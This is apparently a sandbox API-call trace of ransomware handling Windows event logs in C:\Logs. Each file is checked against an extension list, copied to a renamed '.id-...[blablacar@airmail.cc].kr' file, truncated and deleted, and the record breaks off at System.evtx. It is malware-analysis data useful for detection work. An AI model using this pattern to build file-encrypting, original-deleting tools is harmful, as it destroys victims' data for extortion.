[0105.345] lstrlenW (lpString=".doc") returned 4 [0105.345] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.345] lstrlenW (lpString=".docx") returned 5 [0105.346] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.346] lstrlenW (lpString=".pdf") returned 4 [0105.346] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.346] lstrlenW (lpString=".xls") returned 4 [0105.346] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.346] lstrlenW (lpString=".xlsx") returned 5 [0105.346] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.346] lstrlenW (lpString=".ppt") returned 4 [0105.346] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0105.346] lstrlenW (lpString=".zip") returned 4 [0105.346] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.346] lstrlenW (lpString=".rar") returned 4 [0105.346] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.346] lstrlenW (lpString=".bz2") returned 4 [0105.346] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.346] lstrlenW (lpString=".7z") returned 3 [0105.346] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0105.346] lstrlenW (lpString=".dbf") returned 4 [0105.346] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0105.346] lstrlenW (lpString=".1cd") returned 4 [0105.346] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0105.346] lstrlenW (lpString=".jpg") returned 4 [0105.347] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.347] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.347] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57 [0105.347] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.347] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=69632) returned 1 [0105.347] CloseHandle (hObject=0x328) returned 1 [0105.347] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0105.348] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.348] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.348] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.348] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.348] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.349] GetLastError () returned 0x0 [0105.349] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.353] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.355] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.355] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x146, lpOverlapped=0x0) returned 1 [0105.355] SetEndOfFile (hFile=0x38c) returned 1 [0105.356] CloseHandle (hObject=0x38c) returned 1 [0105.358] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.358] SetEndOfFile (hFile=0x328) returned 1 [0105.360] CloseHandle (hObject=0x328) returned 1 [0105.360] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.360] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1 [0105.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0105.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0105.361] lstrlenW (lpString=".doc") returned 4 [0105.361] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.361] lstrlenW (lpString=".docx") returned 5 [0105.361] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.361] lstrlenW (lpString=".pdf") returned 4 [0105.361] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.361] lstrlenW (lpString=".xls") returned 4 [0105.361] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.361] lstrlenW (lpString=".xlsx") returned 5 [0105.361] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.361] lstrlenW (lpString=".ppt") returned 4 [0105.361] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.361] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0105.361] lstrlenW (lpString=".zip") returned 4 [0105.361] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.361] lstrlenW (lpString=".rar") returned 4 [0105.362] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.362] lstrlenW (lpString=".bz2") returned 4 [0105.362] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.362] lstrlenW (lpString=".7z") returned 3 [0105.362] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0105.362] lstrlenW (lpString=".dbf") returned 4 [0105.362] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0105.362] lstrlenW (lpString=".1cd") returned 4 [0105.362] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0105.362] lstrlenW (lpString=".jpg") returned 4 [0105.362] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0105.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0105.362] lstrlenW (lpString=".doc") returned 4 [0105.362] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.362] lstrlenW (lpString=".docx") returned 5 [0105.362] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.362] lstrlenW (lpString=".pdf") returned 4 [0105.362] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.362] lstrlenW (lpString=".xls") returned 4 [0105.362] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.363] lstrlenW (lpString=".xlsx") returned 5 [0105.363] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.363] lstrlenW (lpString=".ppt") returned 4 [0105.363] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0105.363] lstrlenW (lpString=".zip") returned 4 [0105.363] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.363] lstrlenW (lpString=".rar") returned 4 [0105.363] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.363] lstrlenW (lpString=".bz2") returned 4 [0105.363] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.363] lstrlenW (lpString=".7z") returned 3 [0105.363] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0105.363] lstrlenW (lpString=".dbf") returned 4 [0105.363] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0105.363] lstrlenW (lpString=".1cd") returned 4 [0105.363] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0105.363] lstrlenW (lpString=".jpg") returned 4 [0105.363] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.364] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.364] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44 [0105.364] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.415] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=69632) returned 1 [0105.415] CloseHandle (hObject=0x328) returned 1 [0105.415] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0105.415] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.416] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.416] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.416] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.416] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.416] GetLastError () returned 0x0 [0105.416] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.809] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.811] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.811] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x12c, lpOverlapped=0x0) returned 1 [0105.811] SetEndOfFile (hFile=0x38c) returned 1 [0105.812] CloseHandle (hObject=0x38c) returned 1 [0105.814] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.814] SetEndOfFile (hFile=0x328) returned 1 [0105.815] CloseHandle (hObject=0x328) returned 1 [0105.815] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.816] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1 [0105.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0105.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0105.816] lstrlenW (lpString=".doc") returned 4 [0105.816] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.816] lstrlenW (lpString=".docx") returned 5 [0105.816] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.816] lstrlenW (lpString=".pdf") returned 4 [0105.816] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.816] lstrlenW (lpString=".xls") returned 4 [0105.816] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.816] lstrlenW (lpString=".xlsx") returned 5 [0105.816] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.816] lstrlenW (lpString=".ppt") returned 4 [0105.816] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0105.816] lstrlenW (lpString=".zip") returned 4 [0105.817] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.817] lstrlenW (lpString=".rar") returned 4 [0105.817] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.817] lstrlenW (lpString=".bz2") returned 4 [0105.817] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.817] lstrlenW (lpString=".7z") returned 3 [0105.817] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0105.817] lstrlenW (lpString=".dbf") returned 4 [0105.817] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0105.817] lstrlenW (lpString=".1cd") returned 4 [0105.817] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0105.817] lstrlenW (lpString=".jpg") returned 4 [0105.817] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0105.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0105.817] lstrlenW (lpString=".doc") returned 4 [0105.817] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.817] lstrlenW (lpString=".docx") returned 5 [0105.817] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.817] lstrlenW (lpString=".pdf") returned 4 [0105.817] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.817] lstrlenW (lpString=".xls") returned 4 [0105.817] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.818] lstrlenW (lpString=".xlsx") returned 5 [0105.818] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.818] lstrlenW (lpString=".ppt") returned 4 [0105.818] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0105.818] lstrlenW (lpString=".zip") returned 4 [0105.818] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.818] lstrlenW (lpString=".rar") returned 4 [0105.818] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.818] lstrlenW (lpString=".bz2") returned 4 [0105.818] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.818] lstrlenW (lpString=".7z") returned 3 [0105.818] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0105.818] lstrlenW (lpString=".dbf") returned 4 [0105.818] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0105.818] lstrlenW (lpString=".1cd") returned 4 [0105.818] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0105.818] lstrlenW (lpString=".jpg") returned 4 [0105.818] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.818] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.818] lstrlenW (lpString="Setup.evtx") returned 10 [0105.818] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.819] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=69632) returned 1 [0105.819] CloseHandle (hObject=0x328) returned 1 [0105.819] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0105.819] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.819] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.819] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.819] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.819] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.819] GetLastError () returned 0x0 [0105.820] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.822] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.824] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.824] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xe8, lpOverlapped=0x0) returned 1 [0105.824] SetEndOfFile (hFile=0x38c) returned 1 [0105.824] CloseHandle (hObject=0x38c) returned 1 [0105.827] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.827] SetEndOfFile (hFile=0x328) returned 1 [0105.828] CloseHandle (hObject=0x328) returned 1 [0105.829] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.829] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0105.829] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0105.829] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0105.829] lstrlenW (lpString=".doc") returned 4 [0105.829] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.830] lstrlenW (lpString=".docx") returned 5 [0105.830] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.830] lstrlenW (lpString=".pdf") returned 4 [0105.830] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.830] lstrlenW (lpString=".xls") returned 4 [0105.830] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.830] lstrlenW (lpString=".xlsx") returned 5 [0105.830] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.830] lstrlenW (lpString=".ppt") returned 4 [0105.830] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.831] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0105.831] lstrlenW (lpString=".zip") returned 4 [0105.831] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.831] lstrlenW (lpString=".rar") returned 4 [0105.831] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.831] lstrlenW (lpString=".bz2") returned 4 [0105.831] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.831] lstrlenW (lpString=".7z") returned 3 [0105.831] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.831] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0105.831] lstrlenW (lpString=".dbf") returned 4 [0105.831] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.831] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0105.831] lstrlenW (lpString=".1cd") returned 4 [0105.831] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.831] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0105.831] lstrlenW (lpString=".jpg") returned 4 [0105.832] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.832] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0105.832] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0105.832] lstrlenW (lpString=".doc") returned 4 [0105.832] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.832] lstrlenW (lpString=".docx") returned 5 [0105.832] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.832] lstrlenW (lpString=".pdf") returned 4 [0105.832] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.832] lstrlenW (lpString=".xls") returned 4 [0105.832] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.832] lstrlenW (lpString=".xlsx") returned 5 [0105.832] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.832] lstrlenW (lpString=".ppt") returned 4 [0105.832] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.833] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0105.833] lstrlenW (lpString=".zip") returned 4 [0105.833] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.833] lstrlenW (lpString=".rar") returned 4 [0105.833] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.833] lstrlenW (lpString=".bz2") returned 4 [0105.833] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.833] lstrlenW (lpString=".7z") returned 3 [0105.833] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.833] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0105.833] lstrlenW (lpString=".dbf") returned 4 [0105.834] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.834] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0105.834] lstrlenW (lpString=".1cd") returned 4 [0105.834] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.834] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0105.834] lstrlenW (lpString=".jpg") returned 4 [0105.834] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.834] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.834] lstrlenW (lpString="System.evtx") returned 11 [0105.834] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.835] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=1118208) returned 1 [0105.835] CloseHandle (hObject=0x328) returned 1 [0105.835] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0105.835] 